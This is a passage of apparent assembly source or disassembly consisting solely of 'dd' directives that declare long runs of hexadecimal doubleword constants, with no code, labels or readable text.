93CB00F8h, 47FAFF92h, 0D000492Fh dd 20EDE385h, 0F2ABECAh, 44080F0Bh, 0B4308B80h, 27006748h dd 92C793A9h, 0CEDBADh, 56F02414h, 0A1B053B2h, 2B008A70h dd 37C0BB3Ch, 5D4422h, 0AA16DE7Eh, 0DD5C2532h, 4D57BD00h dd 5430C13h, 0A7F01EB8h, 8D4C80F6h, 84FB0F37h, 6C00C8E4h dd 1B68E1B7h, 0C61C4h, 34881133h, 695CD047h, 62DCEE00h dd 0B6A3D2EDh, 2E7439h, 7FF7C4D1h, 0CA8F879Ch, 69AB5900h dd 13011B0Eh, 65BF001Fh, 96C6AF16h, 3B0E76DEh, 0C032A535h dd 9FBC1805h, 0E8174A01h, 662000BEh, 0DAB12797h, 98883A15h dd 0BCFB3980h, 0EA86A501h, 0DB7AFD00h, 5846269Ch, 648F0FF5h dd 8B877CA1h, 55225013h, 1A06013Fh, 0D0AAC252h, 1E350090h dd 0CDE802EBh, 0ED32FE2Eh, 40F518CEh, 0E422BCh, 0EADB2319h dd 770C550Fh, 6878C700h, 0F64BF4C3h, 801B4910h, 1742A401h dd 406B8CB9h, 3BAC02D4h, 0E220FC00h, 0BAFAB40Dh, 64300066h dd 0DE4768CEh, 0B3042D4Dh, 630BE0B2h, 0D487D080h, 15932CD3h dd 811259h, 181331A0h, 0DA000CEFh, 803DDC32h, 38930Fh dd 0A0149B5Ah, 25967ED4h, 9FFD840Ch, 1C5F30F7h, 808C2987h dd 7BBF4391h, 3A12D7E9h, 0C802315Ah, 608D2AF3h, 7EAF39CFh dd 0C7DA26FCh, 316900E3h, 19D50B1Ah, 5AE89D00h, 355F113Ch dd 0A89A4814h, 0E99BBF00h, 0E5D055E0h, 8323B100h, 0ED2535BBh dd 7C651EA8h, 0AD017B10h, 0BC870EDDh, 3FC2FC8Ch, 0AE00617Bh dd 2E9B1F9h, 120622h, 54E42AF8h, 4A951352h, 0D664A400h dd 7FC5AC09h, 9F3E0033h, 0A7424158h, 1507071Ch, 9053038Ch dd 2EB7634Eh, 0F08EB094h, 9E7EB6h, 0B1E01967h, 0A8094EE6h dd 0ADCDA100h, 0D7E161BEh, 0C3C003ABh, 0F4665BEEh, 0D83C7D99h dd 0F500AE14h, 6B7CCACh, 2B2EEAh, 6F273777h, 12175911h dd 0AB099918h, 3E9EC5C8h, 78CC21h, 0E03774E2h, 9405E02h dd 9DB9853Ah, 0FEC0E5C0h, 0E2F2A09Fh, 2A0B00C3h, 2F7EE960h dd 730D3F5h, 97D140C8h, 0E2231E02h, 0A7A8B967h, 6FF400C8h dd 6D8C78B9h, 837A507Bh, 29E77701h, 7ED08856h, 0FFE1CCh dd 0B2F0D98Dh, 0B647C1F3h, 0F7C34D09h, 0B58800DBh, 809DFD0Ch dd 0AA0008E2h, 8A396B06h, 73AF64Ah, 5FEAABCDh, 2A7090C4h dd 0CA000FFDh, 41B8C56Bh, 3F97947Ah, 0B78008F0h, 2B49432Ch dd 0AD0267D1h, 0F875C87Bh, 39FF401Dh, 1E2C0ADEh, 3C0A1B5h dd 70504419h, 8F409D92h, 8B01A64Ch, 32FF7E6Eh, 0F882C22Ah dd 0A08326C6h, 85ECA883h, 29CDD2h, 0ACC89190h, 48CE4C8Bh dd 0BCC0B16h, 0AA014C67h, 3079D152h, 94161034h, 7F00DA40h dd 9C6447F7h, 0EDACA893h, 4D1892FDh, 973380Ah, 0AD2279C3h dd 3A6C7420h, 0CB72FB27h, 0BDD2B600h, 1315A875h, 517453h dd 0AC3E9664h, 57AFD5DDh, 0ACD04228h, 140206FCh, 0A9D2FC8Fh dd 3FFCC139h, 0D8A2FA80h, 0FF76A78Ah, 8606A177h, 4D1F58A6h dd 570E0E19h, 21E76623h, 72BCF1ABh, 9A8843C1h, 0B28ADDF8h dd 0C9003E7Bh, 0EB9B8BC7h, 3B4A3404h, 9A04147Bh, 80932D40h dd 0B839589Ah, 0C36B070Fh, 101800CFh, 1FF0F46Eh, 4084D2A3h dd 536168A4h, 0E4030AE2h dd 115BD59Ch, 9E888031h, 72CF00EFh, 0AE1FEE1Dh, 0D5761C56h dd 0F2235000h, 4DF8C51Bh, 0A32531A4h, 0D81386A1h, 0E300D0C9h dd 0F40805AFh, 3B72F9h, 9FA1FEBCh, 0CB5B4D7Eh, 0CF8DD317h dd 719E4403h, 3B27F073h, 730714Fh, 322A0522h, 0FACC00E1h dd 7813F563h, 4E0203C1h, 40CDA03Fh, 2E560D8h, 97FC574Fh dd 6E40EA2Fh, 0D100E2D0h, 0EBA414E0h, 163BD3Ah, 0D4A6DD7h dd 60CE2C52h, 5A00E6ECh, 0C4B6A1B8h, 1610ECCh, 0BE992DD3h dd 719C1391h, 0B3FCD400h, 2416FB04h, 7808168h, 0CDCFFFh dd 0BE3319E8h, 0C03D0ABAh, 0DB653501h, 0F0D05DBFh, 505F7E70h dd 60C3Bh, 0CF152383h, 91CBE99Ah, 70B30C00h, 68014B1Eh dd 0C2F700C0h, 0BD516658h, 2300466Dh, 60954D0Bh, 1DEEDA0Ah dd 0FDD9D6ADh, 84A624h, 0FC3EF0EFh, 7900415Eh, 61901253h dd 37EA58Bh, 0BF03E5A4h, 4688F533h, 0AA00FE99h, 0E40904F1h dd 13D312A8h, 41CEADD7h, 9D238AE4h, 9063E6C3h, 0A186A287h dd 1331A18h, 0A32465ECh, 3070C809h, 2D00F6BEh, 10342BEAh dd 5588EDh, 0C09AADCEh, 0F62F8405h, 0E2006490h, 0A52D14B2h dd 370869Fh, 0B646EBBBh, 1000FA82h, 0F8694E3Eh, 12FFA5A0h dd 0B38921h, 3C117E08h, 15013088h, 19DA1A9Ch, 0C4640F5Bh dd 2EA0FB6h, 0FDC3C784h, 0B498EF17h, 0DE094122h, 0F83C445h dd 701CB7A8h, 32040D41h, 80808F2Dh, 24EF36Ch, 7678D0D7h dd 970065FAh, 0DDC53837h, 9A34E4FEh, 0EEA3003Ch, 0FD3B0A14h dd 0F038B79h, 0E5FF4852h, 5760BFEBh, 0EE1739Ah, 4F9E05F4h dd 0D6CE8E60h, 58008361h, 0DE681D2Eh, 1ECD4436h, 8063510Ch dd 0B88099BDh, 18033347h, 0A165347Bh, 0AA5FC025h, 4D770A7Ah dd 3B09075h, 366A3BD8h, 0E1D048E0h, 0D46B1925h, 5B6D00E9h dd 0E3C71E94h, 3155F800h, 50393C88h, 0CE5A0016h, 3AA2799Ch dd 2C13976Fh, 9A145E1Dh, 1E9E00C4h, 670DD34Ah, 0B42E0A31h dd 384E38Eh, 5F8846B8h, 0EF094000h, 2E2A893Eh, 0DFA30393h dd 0A1304AB9h, 0CB1A96A0h, 4B7EF970h, 0DB14A400h, 0D5F1B2DCh dd 8E8A0058h, 1151CAB8h, 0D600954Bh, 238F2FFDh, 0A6162Eh dd 0E98E6003h, 83B1F8C9h, 3F1EB914h, 777202B8h, 60D8353Eh dd 192169h, 68ED5F8h, 0E81D5AA1h, 0D7296207h, 0B06077A6h dd 0F7A07B1h, 83B597F4h, 0CD49560h, 0DD04574Eh, 0F7455D5Eh dd 9CB41CD0h, 0CCE9002Fh, 7BDE6590h, 8FB8E885h, 6BCDD500h dd 0A38084CBh, 50740003h, 0B33BBD44h, 0B93BB091h, 121CC9E2h dd 0AA0DDE7Dh, 0A1F01127h, 694712E7h, 4B1C00C6h, 80FBB2E8h dd 40383F2Dh, 9058B9FAh, 0B0417558h, 0A77C1294h, 581C602Dh dd 0F8AABC5Fh, 30EFAEC0h, 0C7CC5C02h, 63AEEE6Fh, 0B87AEB26h dd 4D04Fh, 36CD2C05h, 0B9BB89BCh, 49BF7500h, 0E863809Bh dd 7E870340h, 0F74FB72Bh, 0C05F41C8h, 5C8A4309h, 9C9887B1h dd 0BED0C630h, 5A373D70h, 7116F900h, 0E6952ABBh, 5D0D71B0h dd 195C79F4h, 7E43D0h, 0A2221B56h, 19E26162h, 219BA533h dd 588D8018h, 97A3EA8Eh, 0E27CBED0h, 3B6C7200h, 0A5BEF23Ch dd 5F160F4Bh, 9A03DF6h, 0CA0AB271h, 7580BD48h, 3500127Ah dd 0F27A048Ch, 0BFBAEDh, 1B1C444Fh, 0C1ECEB95h, 0E7CA14Ch dd 80A97533h, 0D685C56Dh, 0E141C66h, 21F88E0Ch, 803897E5h dd 25DB689Bh, 8B28B300h, 5F938CFFh, 3A597BBDh, 80007A40h dd 0E8A51FA7h, 7C98B22Ch, 0BCAA6C01h, 788B9DB6h, 1DC68D8h dd 0C3190664h, 4008A80Eh, 0D42713A0h, 0DDBC200h, 50B1269Ch dd 0E08D509Bh, 0B8821B48h, 0BDD0607Dh, 6A009FCEh, 6DCAFA38h dd 0F0FE701Bh, 0BB0C035Ch, 3EA2AA6Fh, 0F7D665A8h, 1A0077F0h dd 97492492h, 3CD41Eh, 0C4115D1h, 0B3B1A096h, 7334C101h dd 0BA45BDABh, 62A1ECh, 1435D41Dh, 9C3F01ADh, 4209E077h dd 0A085A3C5h, 0F4F3B958h, 6BB11325h, 1050C351h, 782050E8h dd 0BC4EF200h, 4A3CC342h, 9FF60BEBh, 0E0020F1Ch, 0B86BD3A1h dd 0F117EAA8h, 0B0D6742Ch, 30E42A01h, 98F78A98h, 7FBF6646h dd 0A6CF00E6h, 7335A2D4h, 960F7631h, 0EAE7114Eh, 0F20014B7h dd 6BAACB70h, 802C1FF9h, 3092810Dh, 8B463D2Eh, 83F0BE70h dd 2013365Fh, 5F7CD011h, 0F77110A8h, 694D6E00h, 7CD85C3Bh dd 0AA3C0721h, 8024044Bh, 8036AF13h, 59577500h, 4E21D54Ah dd 68D00CDh, 0EDAC9D4Ch, 960185E3h, 76010844h, 0F180D4EEh dd 2620E0CDh, 1F182F05h, 5F4127B1h, 0BF060C80h, 0C2280C8Eh dd 0D9E6D839h, 18BC0318h, 1EA89F2Dh, 8ABE82B0h, 10CF83h dd 480C8840h, 507EE09h, 5AC720A9h, 0E70F1DC0h, 69AC04A3h dd 80BC3415h, 0B4E15E6Ah, 511F1007h, 82B017F5h, 0B9B8C5h dd 0CE9FA2E4h, 0FCF36127h, 0C63BEA00h, 66FF839Dh, 60DF00B8h dd 0AC6FBC41h, 0DC3EC58Fh, 0C07C0329h, 9867FB90h, 0E6A89E71h dd 0C2580026h, 5E2E1176h, 0F3F055F6h, 0A4B68A00h, 9B19E680h dd 17FD5833h, 0CEE34700h, 0B5D1CF3Fh, 0A8163903h, 0AEA9F856h dd 78E4A0E1h, 113568B7h, 0DE187C04h, 631017A0h, 779D015Fh dd 0A4FB8178h, 0D4C6C52Fh, 4200E8A7h, 0AA0ABE59h, 0B59B8Bh dd 655B3157h, 3304BD16h, 0F30D8600h, 9AAF1ECDh, 0E1BC0E81h dd 0CFCFB8D5h, 9B24FDA3h, 0DE790C98h, 64C5B600h, 0A1276C99h dd 42800EDh, 0BCFC39D1h, 120BE445h, 809F0B02h, 0A6356B03h dd 5EEB001Dh, 0DC8B20EDh, 7C00D138h, 33E58DDDh, 26C80C36h dd 34991F0h, 708940B3h, 26D20888h, 907E17FCh, 0EE7C7E09h dd 0C11F8081h, 0EAEB49h, 0B71A6545h, 0D16FFAE4h, 72784A00h dd 77AD63CAh, 0B97601h, 0A897F50Ah, 353941CBh, 8E54CE00h dd 18EAC033h, 69F600C6h, 0FCCBBB4Fh, 0D4580648h, 4E821E76h dd 0BF026F1Dh, 400FEE68h, 0A6DFDCh, 0C58DB7Dh, 0F40A7785h dd 0F5214D0Bh, 0C1DB002Ah, 0F1E1A69h, 0F11A6B8h, 0C060D8C9h dd 8B1F1292h, 55C0AA3Ah, 80B16B5Fh, 94871C6Ah, 71F5C029h dd 0B3A57932h, 2A0086F8h, 5607740Ah, 59F2CCh, 0A45BDD3Bh dd 0EE5E03A0h, 0A6122D00h, 0DFAFC949h, 1F798Fh, 0A7F1B301h dd 18164743h, 2F5D3100h, 54DD48B6h, 18364920h, 24DBE24h dd 9A45A886h, 909FAC87h, 9812A902h, 0DA012AF0h, 5C774DAFh dd 0C3F04153h, 3B07742h, 0D5CE782Fh, 0DDF012A1h, 47053931h dd 50DF795Ah, 6EFCA480h, 54AA0055h, 22ED63EEh, 333AF111h dd 0BA3C8388h, 0A8EB082Ah, 0C0185A24h, 7BC058E0h, 7C007F64h dd 0C45B72E7h, 0A0997996h, 307312C5h, 32A954D3h, 0DE07B615h dd 7163B769h, 3DC00E75h, 2E0C7Bh, 48703FB8h, 2216D568h dd 0E1F2C90Ah, 0D417D4D8h, 652DDF00h, 345F410h, 6CC9689Fh dd 0B3CF90ACh, 281CDBA8h, 5447CBADh, 8079C0DEh, 8B10495Dh dd 7C7807FBh, 806082F7h, 3A7D1D01h, 16E63202h, 0A58C280Fh dd 7400F4F4h, 0DEA39F10h, 0ECD0C67h, 0B060799Dh, 1391CF00h dd 83C9942Dh, 71CB3ED2h, 920F3158h, 8C95E435h, 0AEA4213Dh dd 1AB7077Ah, 0A18EE02Ah, 0C8E10116h, 997806FEh, 0FEADDC28h dd 9D508B00h, 0F21316BAh, 67250153h, 301EA1CFh, 66EE469h dd 748BF100h, 447176FAh, 0A890C07Dh, 0F559D87Eh, 5AC2750Ch dd 23CD08Bh, 0C309DF6Ch, 0E2096E4h, 0BA4F5792h, 0E8485328h dd 4D03F03Eh, 6D8C1CCFh, 0B893806h, 6C123h, 769A202h, 107B1CD2h dd 4D79280Ah, 8680888Eh, 0D6898367h, 2658901Eh, 8E6CB5F2h dd 0A5A01A0Dh dd 0D6BC6872h, 14A9F900h, 0D4AC22FDh, 370A069Ah, 4877C6EFh dd 4A575B00h, 8529F225h, 70483A75h, 497AB39Fh, 7C81BD5Ah dd 0F0244EA5h, 86071D39h, 29CA2E76h, 0B3311420h, 0E1603833h dd 67C0C00h, 0D1A74D9Bh, 4CE8190Fh, 0B7AC2061h, 7D94137h dd 2BE6CB7Eh, 2777F756h, 0B06AC0F2h, 0AC008BB3h, 21638A25h dd 0FFD76C3h, 3FDA1264h, 0C10A23A7h, 0C40D6940h, 0BE2E0614h dd 7600C948h, 1A78813h, 0E9BD00E0h, 610AF894h, 1000483Dh dd 0DDE5524Bh, 17A409h, 0DCC06A15h, 14F7E07Dh, 7961F103h dd 0D05FACFAh, 3898E5h, 4AE97F72h, 5E7BA24Dh, 6858E600h dd 0DD748D12h, 9AE80029h, 0EE69F160h, 0B8A0A38Ch, 88009E2Ah dd 5B050228h, 1766470h, 0AB91AC80h, 804DAD55h, 2559D0F8h dd 0EE0860F6h, 0F879EE61h, 8C045C76h, 184B012h, 6353EC08h dd 7CF9EF65h, 17346033h, 30F7A80Fh, 0B0ED813Eh, 0DF43A53h dd 7DD8001Dh, 198DD282h, 4B00A0C0h, 0ED6FF65Dh, 139EFBA6h dd 529CFFh, 3CD527A6h, 1912864Fh, 144F7239h, 5675A055h dd 0A109BB1Ch, 0F0F35DDCh, 259A95h, 0FBF2A286h, 504542FDh dd 9FB3D23Ah, 9D003285h, 60AD4C48h, 41EC0093h, 53241D70h dd 0E0F77ABBh, 8C038A77h, 9BB83887h, 0F3CAB011h, 9FB10116h dd 4B7A5709h, 0B58824ECh, 2EA09854h, 0F103FB00h, 0E576C89h dd 0A40C0072h, 0EE7F36E8h, 590040B9h, 0D294FB1Ah, 50F6503Eh dd 764FDC6Bh, 25FE00ABh, 102D09ADh, 9F00CB30h, 2866421Ah dd 24FBC298h, 206EBBh, 682C9C9Ah, 7B008F80h, 0C529CC18h dd 1834C1E4h, 29AF789Dh, 8E008740h, 2A0AEB57h, 7E6D4Eh dd 9E073A26h, 0D5DABD25h, 98E4F103h, 0C06AC9E6h, 0A1E178h dd 0EAB05DE9h, 7788B83Ch, 18670903h, 79D2D3F7h, 6DD62E31h dd 4C49001Eh, 37EDFFB6h, 0EEDE4Ch, 40E0BF94h, 839A23h dd 705804B9h, 0AE34035Ah, 6DAC8900h, 0CE4A3165h, 99B0093h dd 0D12B7AE4h, 663DB13Fh, 0B6878020h, 0AD86F54Dh, 0BC800B07h dd 3C03BD99h, 7E80E4E8h, 327BBAACh, 43FF7807h, 6231D08Dh dd 49C57DF7h, 0BE0770h, 0EB60CCBh, 7B2283C8h, 793A9900h dd 0C00B78E6h, 25DA00BCh, 563F1AAAh, 2700324Eh, 18C2AF98h dd 0FD0A29h, 0AC8D7BEEh, 0D22F513Dh, 0D016F200h, 72202B6Ch dd 9D1C0002h, 0F4715B82h, 0C20069FCh, 3EBC5095h, 0A30815h dd 0FE90D08Ah, 304C75ABh, 0E10097F4h, 7B914F1h, 0E2D31F20h dd 9F640147h, 36B37987h, 8E1CC062h, 7568D800h, 0B2D6A2E2h dd 0EBB3D60h, 52859F8Fh, 79A334h, 6621833Bh, 8451D596h dd 8C6CC500h, 8EA1F2EFh, 0BDFA00C6h, 9B75D4F9h, 6500AAFCh dd 5DE9499h, 72222Fh, 9F4AD7E2h, 868596BAh, 0F9F3E100h dd 35EC06F0h, 0E08100FCh, 2EFA8784h, 0F603126Ah, 2762DA80h dd 0C876D8CEh, 0C77B171Bh, 50F4003Dh, 0A1E5C02Ch, 4A079D7Ch dd 55C1632h, 60A35F00h, 34BC188Dh, 6EF860ECh, 963B853Eh dd 3F1FCC9Dh, 0CADA07C6h, 0BABF3180h, 136D2910h, 0C31AC0E2h dd 0C75C00FDh, 65CA5D30h, 780DC152h, 28F83BABh, 1FECF520h dd 1DD41A67h, 0D1F419EBh, 0A283E190h, 6E613028h, 9C1B2940h dd 2F7F20h, 0E7B9753Eh, 0C01F91B6h, 0BF7982EFh, 82AA7F03h dd 80238720h, 1AC36264h, 33763A8Ch, 89609202h, 74A420BCh dd 0CBBD00A9h, 3E8CFE22h, 970004C7h, 732482D8h, 2E014306h dd 0E21E15B2h, 0B0E7ABEEh, 31439h, 9F92369Ch, 0DAA07CDFh dd 1D41A23Bh, 0B7C0CEB3h, 0BDA3EAC3h, 3BDD12FFh, 0A57017Ah dd 0DDA7E2D3h, 419FC056h, 0DC223100h, 0BCE6ED7Eh, 0ECC3001Bh dd 0AD5A237Dh, 6FE00D9Ch, 1CC88100h, 0F9E6AB4Ch, 0DEE400F8h dd 0ADC1AAF7h, 0A1508559h, 9E0752A8h, 83553499h, 84B4BF00h dd 0C47103D6h, 0A52D518Ah, 0F748C0F8h, 0EAC19714h, 72F90180h dd 0D9155B2Fh, 11218CF9h, 9DC41980h, 24884B87h, 0CC5C602h dd 417F3792h, 0B4417EEDh, 0D2E3DEh, 5754389Dh, 0CB4F6700h dd 0C504CECCh, 0C37A33h, 0FF8C6BD6h, 0DEA4C410h, 95E7E602h dd 0A007B551h, 9EB275D8h, 28C103E1h, 650C817Fh, 0F5E9E2B9h dd 0E6D457E4h, 5B0099DDh, 142B883Fh, 3DEBC459h, 0A180A422h dd 0FA8472AAh, 2A0E3B6Eh, 2FDCB042h, 2842185Ah, 44E71E24h dd 0E000384Fh, 807B0E56h, 8C759678h, 75095300h, 0EDEB69EEh dd 0B1E900ECh, 67C77604h, 0E200BCBBh, 0A450FE6Fh, 31774E1Bh dd 88196A3Fh, 41C980EBh, 0A6781E92h, 1F07008Eh, 8BB73A93h dd 3000D7B0h, 38A4532Fh, 8D0FF2h, 4EBFF578h, 61F6F1FAh dd 0C0E9E562h, 4CEE22EBh, 14421040h, 60B4AE54h, 0A78CDB00h dd 74E66909h, 0B99101FAh, 63E91162h, 0DE898CE1h, 1F5331E8h dd 0C017C002h, 5C262E98h, 0F3C6FEAh, 2DB5806Eh, 4386508Dh dd 28F1E2F9h, 0FBFF20h, 2FF2592Eh, 0CFF3C1DEh, 0EBC61802h dd 80662845h, 0A89495B9h, 2C2B0074h, 46257FEDh, 0B614A36h dd 0B8EEAD28h, 63C5D0h, 0CF03A64h, 1D2C4C9Eh, 9A1D20DFh dd 0FAA980FAh, 63A3CE57h, 45E24C61h, 2DE52B03h, 2826C349h dd 3B3AB9D3h, 3594841h, 0DDA3E60Bh, 2C1DB0F0h, 0FFEA00BDh dd 2F5D7A45h, 0E0004BB7h, 0DF041674h, 663E356h, 0BCBDD072h dd 307E18A1h, 91C13600h, 65CBA587h, 0C76A0185h, 48C52BFAh dd 0B037D871h, 5DEBDE0Ah, 0E700442Ch, 0DC802AE4h, 9F0D00A2h dd 0D55E5CDDh, 4E072102h, 0B27E85B6h, 649EEDA0h, 2A45F896h dd 9CC6FCh, 0F93467CCh, 74B0251Ch, 33500CA0h, 606D2F01h dd 0AD35D945h, 744BFA20h, 0D3B00084h, 13FA41E8h, 0CB0CAA0Eh dd 81A0627h, 5A21C089h, 4EAFFA4Ch, 96F72601h, 81993173h dd 32DEC8h, 0C9F5D471h, 4A050FF3h, 59E6D700h, 3A493DAAh dd 1BF40C8Eh, 0BB30D2E9h, 88D39701h, 2F10AFADh, 30061BCh dd 0DE3DE084h, 9B188783h, 8A086BA6h, 1820C0B1h, 1D06E03Ch dd 0BAB40801h, 8735CDF6h, 892F418Ch, 0EB00EE29h, 0CCF13630h dd 7EC138C2h, 31FE0192h, 5865903h, 0E877C9E0h, 0D60C35CFh dd 0B0DADC62h, 88A55CDDh, 4690CD2Ah, 0F9087640h, 701A0E69h dd 0F9035648h, 229FAE67h, 50CCA7E8h, 0CF340AAh, 46026603h dd 90010D33h, 0EE375D99h, 449B00D0h, 0AE32DB57h, 0DA00A111h dd 778AA851h, 0EE5AEE9Ah, 6C900005h, 2E2553CFh, 0D300A466h dd 1F56F1C6h, 3F8E64FEh, 689D1D9Dh, 1880BB36h, 31926F1Eh dd 620017ABh, 3CED79B6h, 3CDE692Ch, 0EB806CDBh, 0A81559B3h dd 0B70004CFh, 0A4B90343h, 84BDAh, 7E8F88Ch, 9F895132h dd 687FCF00h, 76C4A8D5h, 3008CCC5h, 0CFF8B321h, 0A97A2503h dd 98E936E3h, 24624F5Ch, 3176EF4h, 589CD98Eh, 6A1A09B0h dd 1851B430h, 350AC2Fh, 773C6DE9h, 5078F1CFh, 5552700h dd 25988EFBh, 48861DEDh, 33DE0C24h, 5FAC520h, 5ED67E00h dd 0EA42D7E4h, 12090392h, 0B8CA5CFAh, 9CE9DAE1h, 149D76A1h dd 1382C3C0h, 6203D7ABh, 0F998E95Ch, 11CFBB18h, 88756BF3h dd 0D1B7803Ah, 0D22D3ECFh, 783A9C76h, 53E8003Ch, 4A4B13A9h dd 0DA5D0F29h, 52A16F9Ah, 6C70BAh, 7A6EFC8Ch, 0B267079Dh dd 60D85D69h, 246EC38h, 0B3544100h, 1618A13Fh, 5A790525h dd 8059C904h, 30C21B02h, 741A500h, 74B391FFh, 4A8A3C0Fh dd 6E4996h, 0D84B43D0h, 6C007276h, 0AC25E216h, 0FA9EF11Dh dd 0ABC00074h, 3176F365h, 110F13A5h, 8075067Ah, 0CF96A6E3h dd 94FE3030h, 9803A508h dd 82075900h, 31A7E80Eh, 199513FFh, 80D500FAh, 5B96D83Bh dd 6ECE39C3h, 0E155D843h, 48DD3853h, 8A65E00h, 70ACF316h dd 0B4B90700h, 4E2215B3h, 3F0E950h, 9CF0CEh, 0CD2ADEDBh dd 0D9A9046Ah, 0E588090h, 1E3B03D6h, 81952246h, 2BC8A260h dd 0FD2E15EDh, 7F008806h, 4CE66D32h, 89009984h, 0F646E8AEh dd 0FBD3635h, 4957BB23h, 0B00D5D67h, 0AB5B1377h, 60E41F76h dd 41071906h, 0AC8A533h, 9D3EF4BAh, 0D6003C90h, 949F5F9Bh dd 0C90095A1h, 0D5198945h, 391826EAh, 70F43897h, 34AF0085h dd 96A0D6FCh, 13005CDAh, 577D5210h, 4C8FC8C5h, 1F7CF85Bh dd 0F4383EEh, 7300B5D4h, 1DEFBC18h, 20A1300h, 152EA6B9h dd 0B9B0F1h, 0F78111Bh, 0BF182B12h, 70C7AC00h, 3915DA67h dd 9C7849h, 0F07AA4E6h, 841EA3D5h, 1D6A8C04h, 8680538Fh dd 0F2A0E647h, 8B612F68h, 2500D356h, 0F5F82D0Bh, 9C9E3814h dd 0FAD28500h, 0AD70B286h, 0AB961203h, 0C8BDCF97h, 90654830h dd 0C58B01B1h, 0C24A4B5h, 22A8C0DFh, 8233A005h, 50302F2Bh dd 7B1D09h, 4773D8D0h, 9DABC1FEh, 3DED7F00h, 0B2F42665h dd 508F0057h, 82219058h, 2F0012A8h, 0A3AC0E37h, 1D1E2601h dd 8F621CDDh, 868087E0h, 7B077E79h, 9F0ED4EAh, 78EBF1D3h dd 3B8A48h, 43BEE3E1h, 0D04A60B7h, 1C9D8838h, 9B40E065h dd 0BDFEC89Ch, 16FA0049h, 5525C333h, 0E300DBADh, 7ADAA6DEh dd 73E86C7h, 0D28953D9h, 0D1E52Eh, 242A46A4h, 5950A603h dd 7D00BCECh, 1C34C8E5h, 0EEEC4Ch, 0F8E414EAh, 0FB1E74BDh dd 5B58CF78h, 5E4600BCh, 8458FC2Fh, 9236036Bh, 0CE1A0230h dd 0C9E5B800h, 0F95B858Dh, 125AFC9Dh, 40C63334h, 1112AC20h dd 0E20386B5h, 4C538D20h, 633800E8h, 836FC958h, 0A5309774h dd 2A8619BFh, 0EC13507Dh, 7FFEEA6Dh, 913503C2h, 4FDAA8CDh dd 0D0C1C7A8h, 505F4001h, 9B4775CFh, 0DEDB90D1h, 0FAF80038h dd 80A48742h, 4B0F915Fh, 60DB2C79h, 4331D525h, 367F6CEh dd 0CDE60C28h, 0FD85713h, 69000A1Fh, 0AE7FFCE9h, 0A0DC1DA1h dd 596BCh, 0F1D63FD8h, 0C7784DB5h, 80C17C38h, 647BAA0Ah dd 1E7233Ch, 5D446A6Ch, 0F8EC851Eh, 25004A82h, 73C97938h dd 14A77F4Ch, 0A0E39533h, 55194507h, 0F843C054h, 0EEF82EBFh dd 0EC00C476h, 0F3D069A3h, 353DE7h, 64D2E84Fh, 0CBC7C137h dd 0AFFBA800h, 46BF5D5Ch, 0EF8300FAh, 0B0647EF2h, 0BD500CEBh dd 4500B3DCh, 8C2DB67Dh, 0F4B75Eh, 91988FA6h, 6354BE18h dd 9EC72401h, 0C9CEDFD2h, 28B062D0h, 0E4C4902Eh, 36340023h dd 8A19E444h, 6D00C060h, 1015DF46h, 8C6AC7h, 27242968h dd 0D92FE498h, 0A0DD1D00h, 0ECB065Bh, 0B17A0022h, 9D879525h dd 57FAFA08h, 0D6E6AF00h, 820B15DBh, 0DDC0040h, 0A3FD30A7h dd 0E100F1BBh, 584D9FD9h, 465D5A0h, 193F5DB0h, 23008090h dd 7E491142h, 7A780010h, 0D28DF439h, 0BEC400E0h, 1CA18617h dd 0C20FB4F1h, 5963D36Dh, 1F00B9B0h, 8E002181h, 0CFDD984Dh dd 0C87807h, 0E0931BD5h, 24895530h, 9C121D00h, 8B33DFAFh dd 7ADB0F2Dh, 98808EA5h, 0B7EB053Fh, 94EAA428h, 7FA8C00Fh dd 0AA11784Eh, 5CDB3AB3h, 0F6C20A03h, 8079028Eh, 3C58C424h dd 1708F900h, 1C116940h, 806AAFFCh, 986C1E37h, 0C519C1EBh dd 84684CD9h, 0F6B2E441h, 78D7D4h, 0E6B0978Ah, 537B5E5Dh dd 0EB0BE775h, 0DFC81666h, 0BEAE6380h, 20790E6Fh, 0A071E107h dd 0C5B0DB0Ah, 0B6ADA1h, 6D37AC60h, 280DEC23h, 7BD01A0Ah dd 0AF00C577h, 92F88E5Eh, 0E7A987Eh, 8D89C0EAh, 0E09BA200h dd 0A008A4Fh, 1E5EAECBh, 75B3C313h, 16A7051Bh, 0F57B23h dd 0CEC6EAC4h, 4200A097h, 5DFBC5CFh, 24CABE3Ch, 0E32625h dd 3B40A319h, 0C000D41Ch, 82F5C467h, 0F677047Dh, 22372D0h dd 0B4641942h, 3848C32Eh, 54006F92h, 473E277Ah, 9DF42Ch dd 4D95B644h, 9FCDEAD3h, 1500B0E4h, 0BB67626Dh, 2CD7A830h dd 0C2AABFh, 0F23F2C5h, 371F0886h, 24CE5A2Ch, 1CB3E0F6h dd 0A36807h, 0BE62B184h, 88E9BBB6h, 2014F6E0h, 0E018A7h dd 8FE77313h, 39A8E8F4h, 0E5877D38h, 702CF626h, 1D6C95F2h dd 8F162500h, 42042329h, 4E840035h, 32531BE1h, 61000FA6h dd 0C0BCD6E4h, 6F93EDh, 0B5420307h, 36A730E8h, 66F190E1h dd 12DBC4h, 0AC355B18h, 0FC56985Fh, 8C251CA9h, 8088817Bh dd 2001AE60h, 3300D995h, 67B3C56Ch, 757312EAh, 590F00BEh dd 81B7D66Bh, 3B1E623Dh, 0F940E5EFh, 7F2DC6B8h, 31FD1C2Fh dd 95DE87EDh, 0D99F1010h, 71012E52h, 7DFEE9BCh, 0E5DC4894h dd 3CAE48CDh, 17AA9E00h, 0D16BEAB1h, 0B8EF5Ch, 3C1E4ECEh dd 0C795A7h, 8B0E5B0Ch, 2B1AFE77h, 5D96E64h, 0D88774C0h dd 0FCDB00A0h, 0F916E434h, 0C217AE6Ch, 0D2009D06h, 0DC2A4EF8h dd 239800F6h, 933B864h, 26E295DBh, 2D45E2C0h, 7C2877h dd 0A3E6D362h, 58301632h, 8042EE3Dh, 593E12C9h, 3A2C70BFh dd 0F880AC02h, 0ABA5D9E0h, 2703D542h, 7F921B01h, 0F831CBCBh dd 0C595D7h, 6D5249BBh, 18FDBC5Bh, 80E9AE38h, 0CBA6B54Ah dd 9CC7E40h, 0B8974EB2h, 0A380A4AFh, 867C9870h, 493B7D12h dd 0B18E3C00h, 5E161A9h, 0D8CE2863h, 15900E5Ah, 0D10470E0h dd 1C240748h, 18803413h, 1B8E080Ch, 50840312h, 27704026h dd 6F40F8D2h, 5F002EC6h, 0C1D13602h, 59039B0Fh, 0AD00E8BCh dd 90E0B133h, 9300EA07h, 4D783C09h, 59D7E585h, 0C600CCDBh dd 589C6BB5h, 0A5006023h, 0F6E570BAh, 6453A665h, 0C69D891Dh dd 0F4F13015h, 